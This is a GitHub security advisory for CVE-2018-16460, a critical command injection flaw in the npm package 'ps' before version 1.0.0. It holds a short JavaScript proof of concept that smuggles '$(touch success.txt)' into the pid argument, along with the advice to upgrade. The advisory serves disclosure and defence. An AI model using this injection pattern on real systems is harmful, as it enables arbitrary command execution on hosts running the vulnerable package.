GitHub Advisoryadvisory · npm
GHSA-cfhg-9x44-78h2 ps Enables OS Command Injection
CRITICAL
Official page ↗
- Aliases
- CVE-2018-16460
- Ecosystem
- npm
- Packages
- ps
- Severity
- Critical
- CVSS vector
- CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-77, CWE-78
- Reviewed
- 2020-06-16
Affected packages
• npm ps: < 1.0.0 → fixed in 1.0.0
Description
Versions of `ps` before 1.0.0 are vulnerable to command injection.
Proof of concept:
```js
var ps = require('ps');
ps.lookup({ pid: "$(touch success.txt)" }, function(err, proc) { // this method is vulnerable to command injection
if (err) {throw err;}
if (proc) {
console.log(proc); // Process name, something like "node" or "bash"
} else {
console.log('No such process');
}
});
// Result: The file success.txt will exist on the filesystem if the touch command was executed
```
Recommendation
Update to version 1.0.0 or later.
Related
Alias · CVE (1)
- CVE-2018-16460 A command Injection in ps package versions <1.0.0 for Node.js allowed arbitrary commands to be executed when attacker controls the PID. vulnerability